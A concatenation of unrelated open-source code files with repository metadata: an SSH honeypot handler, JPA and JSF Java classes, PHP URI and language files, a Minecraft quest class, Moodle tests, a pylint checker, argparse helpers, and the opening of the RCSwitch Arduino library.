# Copyright (C) 2017 Roman Samoilenko <ttahabatt@gmail.com> # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. import os import logging import functools from heralding.capabilities.handlerbase import HandlerBase import asyncssh from Crypto.PublicKey import RSA logger = logging.getLogger(__name__) class SSH(asyncssh.SSHServer, HandlerBase): connections_list = [] def __init__(self, options, loop): asyncssh.SSHServer.__init__(self) HandlerBase.__init__(self, options, loop) def connection_made(self, conn): SSH.connections_list.append(conn) self.address = conn.get_extra_info('peername') self.dest_address = conn.get_extra_info('sockname') self.connection = conn self.handle_connection() logger.debug('SSH connection received from %s.' % conn.get_extra_info('peername')[0]) def connection_lost(self, exc): self.session.set_auxiliary_data(self.get_auxiliary_data()) self.close_session(self.session) if exc: logger.debug('SSH connection error: ' + str(exc)) else: logger.debug('SSH connection closed.') def begin_auth(self, username): return True def password_auth_supported(self): return True def validate_password(self, username, password): self.session.add_auth_attempt( 'plaintext', username=username, password=password) return False def handle_connection(self): if HandlerBase.global_sessions > HandlerBase.MAX_GLOBAL_SESSIONS: protocol = self.__class__.__name__.lower() logger.warning( 'Got {0} session on port {1} from {2}:{3}, but not handling it because the global session limit has ' 'been reached'.format(protocol, self.port, *self.address)) else: self.session = self.create_session(self.address, self.dest_address) def get_auxiliary_data(self): data_fields = [ 'client_version', 'recv_cipher', 'recv_mac', 'recv_compression' ] data = {f: self.connection.get_extra_info(f) for f in data_fields} return data @staticmethod def change_server_banner(banner): """_send_version code was copied from asyncssh.connection in order to change internal local variable 'version', providing custom banner.""" @functools.wraps(asyncssh.connection.SSHConnection._send_version) def _send_version(self): """Start the SSH handshake""" version = bytes(banner, 'utf-8') if self.is_client(): self._client_version = version self._extra.update(client_version=version.decode('ascii')) else: self._server_version = version self._extra.update(server_version=version.decode('ascii')) self._send(version + b'\r\n') asyncssh.connection.SSHConnection._send_version = _send_version @staticmethod def generate_ssh_key(ssh_key_file): if not os.path.isfile(ssh_key_file): with open(ssh_key_file, 'w') as _file: rsa_key = RSA.generate(2048) priv_key_text = str(rsa_key.exportKey('PEM', pkcs=1), 'utf-8') _file.write(priv_key_text)
johnnykv/heralding
heralding/capabilities/ssh.py
Python
gpl-3.0
3,627
/* * Copyright 2002-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.drdolittle.petclinic.petclinic.repository.jpa; import java.util.Collection; import java.util.List; import javax.persistence.EntityManager; import javax.persistence.PersistenceContext; import javax.persistence.Query; import com.drdolittle.petclinic.petclinic.repository.VisitRepository; import org.springframework.context.annotation.Profile; import org.springframework.dao.DataAccessException; import com.drdolittle.petclinic.petclinic.model.Visit; import org.springframework.stereotype.Repository; /** * JPA implementation of the ClinicService interface using EntityManager. * <p/> * <p>The mappings are defined in "orm.xml" located in the META-INF directory. * */ @Repository @Profile("jpa") public class JpaVisitRepositoryImpl implements VisitRepository { @PersistenceContext private EntityManager em; @Override public void save(Visit visit) { if (visit.getId() == null) { this.em.persist(visit); } else { this.em.merge(visit); } } @Override @SuppressWarnings("unchecked") public List<Visit> findByPetId(Integer petId) { Query query = this.em.createQuery("SELECT v FROM Visit v where v.pet.id= :id"); query.setParameter("id", petId); return query.getResultList(); } @Override public Visit findById(int id) throws DataAccessException { return this.em.find(Visit.class, id); } @SuppressWarnings("unchecked") @Override public Collection<Visit> findAll() throws DataAccessException { return this.em.createQuery("SELECT v FROM Visit v").getResultList(); } @Override public void delete(Visit visit) throws DataAccessException { String visitId = visit.getId().toString(); this.em.createQuery("DELETE FROM Visit visit WHERE id=" + visitId).executeUpdate(); if (em.contains(visit)) { em.remove(visit); } } }
shekharcs1-/Test
service/src/main/java/com/drdolittle/petclinic/petclinic/repository/jpa/JpaVisitRepositoryImpl.java
Java
gpl-3.0
2,491
<?php namespace StoreCore\StoreFront; /** * Uniform Resource Identifier (URI) * * @author Ward van der Put <Ward.van.der.Put@gmail.com> * @copyright Copyright (c) 2015-2016 StoreCore * @license http://www.gnu.org/licenses/gpl.html GNU General Public License * @package StoreCore\Core * @version 0.1.0 */ class Location extends \StoreCore\AbstractController { const VERSION = '0.1.0'; /** @var string $Location */ private $Location; /** * @param \StoreCore\Registry $registry * @return void */ public function __construct(\StoreCore\Registry $registry) { parent::__construct($registry); $this->set($this->Request->getHostName() . $this->Request->getRequestPath()); } /** * @param void * @return string */ public function __toString() { return $this->get(); } /** * @param void * @return string */ public function get() { return $this->Location; } /** * Set the location by a URI or URL. * * @param string $uri * * @return void * * @todo This method strips index file names like "index.php" from URLs, so * these currently are simply ignored. Another, more strict approach * would be to disallow directory listings with a "Directory listing * denied" HTTP response or a redirect. */ public function set($uri) { // Remove query string parameters $uri = explode('?', $uri)[0]; // Enforce lowercase URLs $uri = mb_strtolower($uri, 'UTF-8'); // Drop common webserver directory indexes $uri = str_replace(array('default.aspx', 'default.asp', 'index.html', 'index.htm', 'index.shtml', 'index.php'), null, $uri); // Strip common extensions $uri = str_replace(array('.aspx', '.asp', '.html', '.htm', '.jsp', '.php'), null, $uri); // Replace special characters $uri = preg_replace('~[^\\pL\d.]+~u', '-', $uri); $uri = trim($uri, '-'); $uri = iconv('UTF-8', 'US-ASCII//TRANSLIT//IGNORE', $uri); $uri = str_ireplace(array('"', '`', '^', '~'), null, $uri); $uri = urlencode($uri); $this->Location = $uri; } }
storecore/releases
StoreCore/StoreFront/Location.php
PHP
gpl-3.0
2,258
/* -------------------------------------------------------------------------------- This source file is part of Hydrax. Visit --- Copyright (C) 2008 Xavier Vergu�n Gonz�lez <xavierverguin@hotmail.com> <xavyiy@gmail.com> This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA, or go to http://www.gnu.org/copyleft/lesser.txt. -------------------------------------------------------------------------------- */ #include "Prerequisites.h" namespace Hydrax { }
junrw/ember-gsoc2012
src/components/ogre/environment/hydrax/src/Prerequisites.cpp
C++
gpl-3.0
1,155
<?php return [ 'accounts' => [ 'cash' => 'Bargeld', ], 'categories' => [ 'deposit' => 'Einzahlung', 'sales' => 'Vertrieb', ], 'currencies' => [ 'usd' => 'US-Dollar', 'eur' => 'Euro', 'gbp' => 'Britisches Pfund', 'try' => 'Türkische Lira', ], 'offline_payments' => [ 'cash' => 'Bargeld', 'bank' => 'Banküberweisung', ], 'reports' => [ 'income' => 'Monatliche Zusammenfassung der Einnahmen nach Kategorie.', 'expense' => 'Monatliche Zusammenfassung der Ausgaben nach Kategorie.', 'income_expense' => 'Monatlicher Vergleich Einkommen vs Ausgaben nach Kategorie.', 'tax' => 'Vierteljährliche Steuerzusammenfassung.', 'profit_loss' => 'Quartalsweise Gewinn & Verlust nach Kategorie.', ], ];
akaunting/akaunting
resources/lang/de-DE/demo.php
PHP
gpl-3.0
1,009
package net.torocraft.toroquest.civilization.quests; import java.util.ArrayList; import java.util.List; import java.util.Random; import java.util.UUID; import net.minecraft.block.Block; import net.minecraft.enchantment.Enchantment; import net.minecraft.entity.player.EntityPlayer; import net.minecraft.init.Blocks; import net.minecraft.init.Items; import net.minecraft.inventory.EntityEquipmentSlot; import net.minecraft.item.ItemStack; import net.minecraft.item.ItemTool; import net.minecraft.nbt.NBTTagString; import net.minecraft.util.text.TextComponentString; import net.minecraftforge.common.MinecraftForge; import net.minecraftforge.event.world.BlockEvent.HarvestDropsEvent; import net.minecraftforge.fml.common.eventhandler.SubscribeEvent; import net.torocraft.toroquest.civilization.Province; import net.torocraft.toroquest.civilization.quests.util.QuestData; import net.torocraft.toroquest.civilization.quests.util.Quests; /** * provide a special pick or shovel */ public class QuestMine extends QuestBase { public static QuestMine INSTANCE; private static final Block[] BLOCK_TYPES = { Blocks.GRAVEL, Blocks.STONE, Blocks.COAL_ORE, Blocks.IRON_ORE, Blocks.OBSIDIAN, Blocks.REDSTONE_ORE }; public static int ID; public static void init(int id) { INSTANCE = new QuestMine(); Quests.registerQuest(id, INSTANCE); MinecraftForge.EVENT_BUS.register(INSTANCE); ID = id; } @SubscribeEvent public void onMine(HarvestDropsEvent event) { if (event.getHarvester() == null) { return; } EntityPlayer player = event.getHarvester(); Province inProvince = loadProvince(event.getHarvester().world, event.getPos()); if (inProvince == null || inProvince.civilization == null) { return; } ItemStack tool = player.getItemStackFromSlot(EntityEquipmentSlot.MAINHAND); if (!tool.hasTagCompound()) { return; } String questId = tool.getTagCompound().getString("mine_quest"); String provinceId = tool.getTagCompound().getString("province"); if (questId == null || provinceId == null || !provinceId.equals(inProvince.id.toString())) { return; } QuestData data = getQuestById(player, questId); if (data == null) { return; } if (notCurrentDepth(event, data)) { return; } if (event.getState().getBlock() != BLOCK_TYPES[getBlockType(data)]) { return; } event.setDropChance(1f); for (ItemStack drop : event.getDrops()) { drop.setTagInfo("mine_quest", new NBTTagString(questId)); drop.setTagInfo("province", new NBTTagString(provinceId)); drop.setStackDisplayName(drop.getDisplayName() + " for " + inProvince.name); } } protected boolean notCurrentDepth(HarvestDropsEvent event, QuestData data) { int max = getMaxDepth(data); int min = getMinDepth(data); int y = event.getPos().getY(); if (min > 0 && y < min) { return true; } if (max > 0 && y > max) { return true; } return false; } @Override public List<ItemStack> complete(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); int requiredLeft = getTargetAmount(data); boolean toolIncluded = false; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } else { requiredLeft -= item.getCount(); item.setCount(0); } } else { } } if (requiredLeft > 0) { data.getPlayer().sendMessage(new TextComponentString("You are " + requiredLeft + " short")); return null; } if (!toolIncluded) { data.getPlayer().sendMessage(new TextComponentString("You must turn in the tool that you were given")); return null; } givenItems = removeEmptyItemStacks(givenItems); addRewardItems(data, givenItems); return givenItems; } protected boolean isForThisQuest(QuestData data, ItemStack item) { if (!item.hasTagCompound() || item.isEmpty()) { return false; } String wasMinedForQuestId = item.getTagCompound().getString("mine_quest"); return data.getQuestId().toString().equals(wasMinedForQuestId); } @Override public List<ItemStack> reject(QuestData data, List<ItemStack> in) { if (in == null) { return null; } List<ItemStack> givenItems = copyItems(in); boolean toolIncluded = false; int emeraldRemainingCount = 5; for (ItemStack item : givenItems) { if (isForThisQuest(data, item)) { if (item.getItem() instanceof ItemTool) { toolIncluded = true; item.setCount(0); } } } if (!toolIncluded) { for (ItemStack item : givenItems) { if (!item.isEmpty() && item.getItem() == Items.EMERALD) { int decBy = Math.min(item.getCount(), emeraldRemainingCount); emeraldRemainingCount -= decBy; item.shrink(decBy); } } } if (!toolIncluded && emeraldRemainingCount > 0) { data.getPlayer().sendMessage(new TextComponentString("Return the tool that was provided or 5 emeralds to pay for it")); return null; } return removeEmptyItemStacks(givenItems); } @Override public List<ItemStack> accept(QuestData data, List<ItemStack> in) { Block type = BLOCK_TYPES[getBlockType(data)]; Province province = getQuestProvince(data); ItemStack tool; if (type == Blocks.GRAVEL) { tool = new ItemStack(Items.DIAMOND_SHOVEL); } else { tool = new ItemStack(Items.DIAMOND_PICKAXE); } tool.setStackDisplayName(tool.getDisplayName() + " of " + province.name); tool.addEnchantment(Enchantment.getEnchantmentByID(33), 1); tool.setTagInfo("mine_quest", new NBTTagString(data.getQuestId().toString())); tool.setTagInfo("province", new NBTTagString(province.id.toString())); in.add(tool); return in; } @Override public String getTitle(QuestData data) { return "quests.mine.title"; } @Override public String getDescription(QuestData data) { if (data == null) { return ""; } StringBuilder s = new StringBuilder(); s.append("quests.mine.description"); s.append("|").append(getTargetAmount(data)); s.append("|").append(BLOCK_TYPES[getBlockType(data)].getLocalizedName()); s.append("|").append(listItems(getRewardItems(data))); s.append("|").append(getRewardRep(data)); return s.toString(); } @Override public QuestData generateQuestFor(EntityPlayer player, Province questProvince) { Random rand = player.world.rand; QuestData data = new QuestData(); data.setCiv(questProvince.civilization); data.setPlayer(player); data.setProvinceId(questProvince.id); data.setQuestId(UUID.randomUUID()); data.setQuestType(ID); data.setCompleted(false); setMaxDepth(data, 30); setMinDepth(data, 0); int roll = rand.nextInt(20); setTargetAmount(data, 10 + roll); setBlockType(data, rand.nextInt(BLOCK_TYPES.length)); setRewardRep(data, 5 + (roll / 5)); List<ItemStack> rewards = new ArrayList<ItemStack>(1); ItemStack emeralds = new ItemStack(Items.EMERALD, 4 + (roll / 10)); rewards.add(emeralds); setRewardItems(data, rewards); return data; } private int getBlockType(QuestData data) { return coalesce(data.getiData().get("block_type"), 0); } private int coalesce(Integer integer, int i) { if (integer == null) { return i; } return integer; } private void setBlockType(QuestData data, int blockType) { data.getiData().put("block_type", blockType); /* * for (int i = 0; i < BLOCK_TYPES.length; i++) { if (BLOCK_TYPES[i] == * block) { data.getiData().put("block_type", i); } } throw new * IllegalArgumentException(block.getUnlocalizedName()); */ } private int getMaxDepth(QuestData data) { return coalesce(data.getiData().get("max_depth"), 0); } private void setMaxDepth(QuestData data, int depth) { data.getiData().put("max_depth", depth); } private int getMinDepth(QuestData data) { return coalesce(data.getiData().get("min_depth"), 0); } private void setMinDepth(QuestData data, int depth) { data.getiData().put("min_depth", depth); } private int getTargetAmount(QuestData data) { return data.getiData().get("target_amount"); } private void setTargetAmount(QuestData data, int amount) { data.getiData().put("target_amount", amount); } }
ToroCraft/ToroQuest
src/main/java/net/torocraft/toroquest/civilization/quests/QuestMine.java
Java
gpl-3.0
8,175
package tr.com.arf.toys.view.converter.egitim; import javax.faces.component.UIComponent; import javax.faces.context.FacesContext; import javax.faces.convert.FacesConverter; import tr.com.arf.framework.view.converter._base.BaseConverter; import tr.com.arf.toys.db.model.egitim.SinavGozetmen; import tr.com.arf.toys.service.application.ManagedBeanLocator; @FacesConverter(forClass=SinavGozetmen.class, value="sinavGozetmenConverter") public class SinavGozetmenConverter extends BaseConverter{ public SinavGozetmenConverter() { super(); } @Override public Object getAsObject(FacesContext facesContext, UIComponent uIComponent, String value) { if (value == null || value.trim().equalsIgnoreCase("")) { return null; } // DBOperator dbOperator = new DBOperator(); return ManagedBeanLocator.locateSessionController().getDBOperator().find("SinavGozetmen", "rID", value).get(0); } @Override public String getAsString(FacesContext facesContext, UIComponent uIComponent, Object value) { if (value == null || value.getClass() == java.lang.String.class) { return null; } if (value instanceof SinavGozetmen) { SinavGozetmen sinavGozetmen = (SinavGozetmen) value; return "" + sinavGozetmen.getRID(); } else { throw new IllegalArgumentException("object:" + value + " of type:" + value.getClass().getName() + "; expected type: SinavGozetmen Model"); } } } // class
TMMOB-BMO/TOYS
Toys/JavaSource/tr/com/arf/toys/view/converter/egitim/SinavGozetmenConverter.java
Java
gpl-3.0
1,450
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. use report_analytics\ajax_controller; defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/report/analytics/tests/report_analytics_testcase.php'); /** * Test class for: ajax_controller.php * * @package report_analytics * @copyright 2015 Craig Jamieson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class report_analytics_ajax_controller_testcase extends report_analytics_testcase { /** * Test perform_request() when no sesskey given. */ public function test_perform_request_badsesskey_exception() { $this->login_user($this->users[0]); $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => 'badsesskey'); $controller = new ajax_controller(); $request = 'get_chart_data'; $this->setExpectedException('Exception', get_string('badsesskey', 'report_analytics')); $controller->perform_request($request); } /** * Test valid requests for perform_request(). */ public function test_perform_request() { $this->login_admin_user(); // Test 1: get_chart_data. $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => sesskey(), 'graphtype' => 'activitychart'); $controller = new ajax_controller(); $request = 'get_chart_data'; ob_start(); $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_clean(); // Test 2: add_graph. $_POST = array('courseid' => $this->courseid, 'filters' => '', 'sesskey' => sesskey(), 'graphtype' => 'activitychart'); $request = 'add_graph'; $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_clean(); // Test 3: get_mods(). $_POST = array('courseid' => $this->courseid, 'sesskey' => sesskey(), 'type' => 'section', 'data' => 'Topic 1'); $request = 'get_mods'; $controller->perform_request($request); $cmids = array(); foreach ($this->activities as $a) { $cmids[] = $a->cmid; } $this->assertEquals(json_decode(ob_get_contents())->message, $cmids); ob_end_clean(); } /** * Test the save_criteria() request - returns true on success. */ public function test_perform_request_save_criteria() { $this->login_admin_user(); $_POST = array('courseid' => $this->courseid, 'filters' => 'dummy', 'userids' => 2, 'sesskey' => sesskey()); $controller = new ajax_controller(); $request = 'save_criteria'; ob_start(); $controller->perform_request($request); $this->assertEquals(json_decode(ob_get_contents())->result, true); ob_end_clean(); } }
cjamieso/moodle313
report/analytics/tests/ajax_controller_test.php
PHP
gpl-3.0
3,549
"""checker for unnecessary indexing in a loop. """ from typing import List, Optional, Tuple, Union import astroid from astroid import nodes from pylint.checkers import BaseChecker from pylint.checkers.utils import check_messages from pylint.interfaces import IAstroidChecker class UnnecessaryIndexingChecker(BaseChecker): __implements__ = IAstroidChecker # name is the same as file name but without _checker part name = "unnecessary_indexing" # use dashes for connecting words in message symbol msgs = { "E9994": ( "For loop variable `%s` can be simplified by looping over the elements directly, " "for example, `for my_variable in %s`.", "unnecessary-indexing", "Used when you have an loop variable in a for loop " "where its only usage is to index the iterable", ) } # this is important so that your checker is executed before others priority = -1 # pass in message symbol as a parameter of check_messages @check_messages("unnecessary-indexing") def visit_for(self, node: nodes.For) -> None: # Check if the iterable of the for loop is of the form "range(len(<variable-name>))". iterable = _iterable_if_range(node.iter) if iterable is not None and _is_unnecessary_indexing(node): args = node.target.name, iterable self.add_message("unnecessary-indexing", node=node.target, args=args) # Helper functions def _is_unnecessary_indexing(node: nodes.For) -> bool: """Return whether the iteration variable in the for loop is ONLY used to index the iterable. True if unnecessary usage, False otherwise or if iteration variable not used at all. """ index_nodes = _index_name_nodes(node.target.name, node) return all(_is_redundant(index_node, node) for index_node in index_nodes) and index_nodes def _iterable_if_range(node: nodes.NodeNG) -> Optional[str]: """Return the iterable's name if this node is in "range" form, or None otherwise. Check for three forms: - range(len(<variable-name>)) - range(0, len(<variable-name>)) - range(0, len(<variable-name>), 1) """ # Check outer function call is range if ( not isinstance(node, nodes.Call) or not isinstance(node.func, nodes.Name) or not node.func.name == "range" ): return None # Check arguments to range if len(node.args) > 1: # Check that args[0] == Const(0) arg1 = node.args[0] if not isinstance(arg1, nodes.Const) or arg1.value != 0: return None if len(node.args) == 3 and ( not isinstance(node.args[2], nodes.Const) or node.args[2].value != 1 ): return None # Finally, check 'stop' argument is of the form len(<variable-name>). if len(node.args) == 1: stop_arg = node.args[0] else: stop_arg = node.args[1] if ( isinstance(stop_arg, nodes.Call) and isinstance(stop_arg.func, nodes.Name) and stop_arg.func.name == "len" and len(stop_arg.args) == 1 and isinstance(stop_arg.args[0], nodes.Name) ): return stop_arg.args[0].name def _is_load_subscript(index_node: nodes.Name, for_node: nodes.For) -> bool: """Return whether or not <index_node> is used to subscript the iterable of <for_node> and the subscript item is being loaded from, e.g., s += iterable[index_node]. NOTE: Index node is deprecated in Python 3.9 Returns True if the following conditions are met: (3.9) - The <index_node> Name node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context (3.8) - The <index_node> Name node is inside of an Index node - The Index node is inside of a Subscript node - The item that is being indexed is the iterable of the for loop - The Subscript node is being used in a load context """ iterable = _iterable_if_range(for_node.iter) return ( isinstance(index_node.parent, nodes.Subscript) and isinstance(index_node.parent.value, nodes.Name) and index_node.parent.value.name == iterable and index_node.parent.ctx == astroid.Load ) def _is_redundant(index_node: Union[nodes.AssignName, nodes.Name], for_node: nodes.For) -> bool: """Return whether or not <index_node> is redundant in <for_node>. The lookup method is used in case the original loop variable is shadowed in the for loop's body. """ _, assignments = index_node.lookup(index_node.name) if not assignments: return False elif isinstance(index_node, nodes.AssignName): return assignments[0] != for_node.target else: # isinstance(index_node, nodes.Name) return assignments[0] != for_node.target or _is_load_subscript(index_node, for_node) def _index_name_nodes(index: str, for_node: nodes.For) -> List[Union[nodes.AssignName, nodes.Name]]: """Return a list of <index> AssignName and Name nodes contained in the body of <for_node>. Remove uses of variables that shadow <index>. """ scope = for_node.scope() return [ name_node for name_node in for_node.nodes_of_class((nodes.AssignName, nodes.Name)) if name_node.name == index and name_node != for_node.target and name_node.lookup(name_node.name)[0] == scope ] def register(linter): linter.register_checker(UnnecessaryIndexingChecker(linter))
pyta-uoft/pyta
python_ta/checkers/unnecessary_indexing_checker.py
Python
gpl-3.0
5,590
<?php $fuits = [ 'uva', 'banana', 'caju', ]; asort($fuits); var_dump($fuits);
caioblima/phpzce-code-guide
arrays/code/src/asort.php
PHP
gpl-3.0
89
package Utiles; /** * Esta clase permite crear JPanel al ser instanciada desde otra * @author Raúl Caro Pastorino <Fryntiz www.fryntiz.es> */ import java.awt.Color; import javax.swing.BorderFactory; import javax.swing.JLabel; import javax.swing.JPanel; public class ClaseJPanel extends JPanel { JLabel jlabel; public ClaseJPanel() { initComponentes(); } private void initComponentes() { jlabel = new JLabel("Soy un JLabel"); this.add(jlabel); //Añadido al panel this.setBorder(BorderFactory.createLineBorder(Color.BLUE)); } }
fryntiz/java
Aprendiendo/GUI/src/Utiles/ClaseJPanel.java
Java
gpl-3.0
600
#! /usr/bin/env python import os import argparse from pymsbayes.fileio import expand_path from pymsbayes.config import MsBayesConfig from pymsbayes.utils.functions import is_file, is_dir, is_executable class SmartHelpFormatter(argparse.HelpFormatter): ''' A class to allow customizable line breaks for an argument help message on a per argument basis. ''' def _split_lines(self, text, width): if text.startswith('r|'): return text[2:].splitlines() return argparse.HelpFormatter._split_lines(self, text, width) def arg_is_path(path): try: if not os.path.exists(path): raise except: msg = 'path {0!r} does not exist'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_file(path): try: if not is_file(path): raise except: msg = '{0!r} is not a file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_config(path): try: if not MsBayesConfig.is_config(path): raise except: msg = '{0!r} is not an msBayes config file'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_dir(path): try: if not is_dir(path): raise except: msg = '{0!r} is not a directory'.format(path) raise argparse.ArgumentTypeError(msg) return expand_path(path) def arg_is_executable(path): try: p = ToolPathManager.get_external_tool(path) if not p: raise except: msg = '{0!r} is not an executable'.format(path) raise argparse.ArgumentTypeError(msg) return p def arg_is_nonnegative_int(i): try: if int(i) < 0: raise except: msg = '{0!r} is not a non-negative integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_int(i): try: if int(i) < 1: raise except: msg = '{0!r} is not a positive integer'.format(i) raise argparse.ArgumentTypeError(msg) return int(i) def arg_is_positive_float(i): try: if float(i) <= 0.0: raise except: msg = '{0!r} is not a positive real number'.format(i) raise argparse.ArgumentTypeError(msg) return float(i) def get_sort_index_help_message(): return ( '''r|The sorting index used by `dpp-msbayes.pl`/`msbayes.pl` and `obsSumStats.pl` scripts to determine how the summary statistic vectors calculated from the alignments of the observed and simulated data are to be grouped and sorted. The default is %(default)s. 0: Do not group or sort. The identity and order of the summary statistics of each alignment are maintained and compared when calculating Euclidean distance. 1-7: **NOTE**, options 1-7 all re-sort the summary statistics in some way, and thus compare the statistics from *different* alignments when calculating the Euclidean distance. This is not valid and these options should *NOT* be used. They are maintained for backwards compatibility with the original msBayes. 8-11: All of these options group the summary statistics from multiple loci by taxon and then calculate moments of each statistic across the loci for each taxon, and then use these moments to calculate Euclidean distance. The order of the taxa is maintained, and so this is valid, but you are losing a lot of information contained in your loci by simply taking the mean (option 11) across them. If you have A LOT of loci, this sacrifice might be necessary to reduce the number of summary statistics. **NOTE**, options 8-10 are NOT well tested. 8: Use the first 4 moments (mean, variance, skewness, and kurtosis) of each statistic. 9: Use the first 3 moments (mean, variance, and skewness) of each statistic. 10: Use the first 2 moments (mean and variance) of each statistic. 11: Use the first 1 moment (mean) of each statistic.''' )
joaks1/PyMsBayes
pymsbayes/utils/argparse_utils.py
Python
gpl-3.0
4,193
/* * ItemNotFoundException.java * * Copyright (C) 2013 * * This file is part of Open Geoportal Harvester * * This software is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the Free * Software Foundation; either version 2 of the License, or (at your option) any * later version. * * This software is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this library; if not, write to the Free Software Foundation, Inc., 51 * Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * As a special exception, if you link this library with other files to produce * an executable, this library does not by itself cause the resulting executable * to be covered by the GNU General Public License. This exception does not * however invalidate any other reasons why the executable file might be covered * by the GNU General Public License. * * Authors:: Juan Luis Rodriguez Ponce (mailto:juanluisrp@geocat.net) */ package org.opengeoportal.harvester.mvc.exception; import org.springframework.http.HttpStatus; import org.springframework.web.bind.annotation.ResponseStatus; /** * @author jlrodriguez * */ @ResponseStatus(value = HttpStatus.NOT_FOUND, reason = "The REST element you requested can not be found") public class ItemNotFoundException extends RuntimeException { private static final long serialVersionUID = -5831721681171462413L; /** * */ public ItemNotFoundException() { } /** * @param message */ public ItemNotFoundException(String message) { super(message); } /** * @param cause */ public ItemNotFoundException(Throwable cause) { super(cause); } /** * @param message * @param cause */ public ItemNotFoundException(String message, Throwable cause) { super(message, cause); } }
OpenGeoportal/ogpHarvester
web/src/main/java/org/opengeoportal/harvester/mvc/exception/ItemNotFoundException.java
Java
gpl-3.0
2,097
/* RCSwitch - Arduino libary for remote control outlet switches Copyright (c) 2011 Suat Özgür. All right reserved. Contributors: - Andre Koehler / info(at)tomate-online(dot)de - Gordeev Andrey Vladimirovich / gordeev(at)openpyro(dot)com - Skineffect / http://forum.ardumote.com/viewtopic.php?f=2&t=46 - Dominik Fischer / dom_fischer(at)web(dot)de - Frank Oltmanns / <first name>.<last name>(at)gmail(dot)com - Andreas Steinel / A.<lastname>(at)gmail(dot)com - Max Horn / max(at)quendi(dot)de - Robert ter Vehn / <first name>.<last name>(at)gmail(dot)com - Johann Richard / <first name>.<last name>(at)gmail(dot)com - Vlad Gheorghe / <first name>.<last name>(at)gmail(dot)com https://github.com/vgheo Project home: https://github.com/sui77/rc-switch/ This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this library; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "RCSwitch.h" /* Format for protocol definitions: * {pulselength, Sync bit, "0" bit, "1" bit} * * pulselength: pulse length in microseconds, e.g. 350 * Sync bit: {1, 31} means 1 high pulse and 31 low pulses * (perceived as a 31*pulselength long pulse, total length of sync bit is * 32*pulselength microseconds), i.e: * _ * | |_______________________________ (don't count the vertical bars) * "0" bit: waveform for a data bit of value "0", {1, 3} means 1 high pulse * and 3 low pulses, total length (1+3)*pulselength, i.e: * _ * | |___ * "1" bit: waveform for a data bit of value "1", e.g. {3,1}: * ___ * | |_ * * These are combined to form Tri-State bits when sending or receiving codes. */ static const RCSwitch::Protocol PROGMEM proto[] = { { 350, { 1, 31 }, { 1, 3 }, { 3, 1 } }, // protocol 1 { 650, { 1, 10 }, { 1, 2 }, { 2, 1 } }, // protocol 2 { 100, { 30, 71 }, { 4, 11 }, { 9, 6 } }, // protocol 3 { 380, { 1, 6 }, { 1, 3 }, { 3, 1 } }, // protocol 4 { 500, { 6, 14 }, { 1, 2 }, { 2, 1 } }, // protocol 5 }; static const int numProto = sizeof(proto) / sizeof(proto[0]); #if not defined( RCSwitchDisableReceiving ) unsigned long RCSwitch::nReceivedValue = 0; unsigned int RCSwitch::nReceivedBitlength = 0; unsigned int RCSwitch::nReceivedDelay = 0; unsigned int RCSwitch::nReceivedProtocol = 0; int RCSwitch::nReceiveTolerance = 60; const unsigned int RCSwitch::nSeparationLimit = 4600; // separationLimit: minimum microseconds between received codes, closer codes are ignored. // 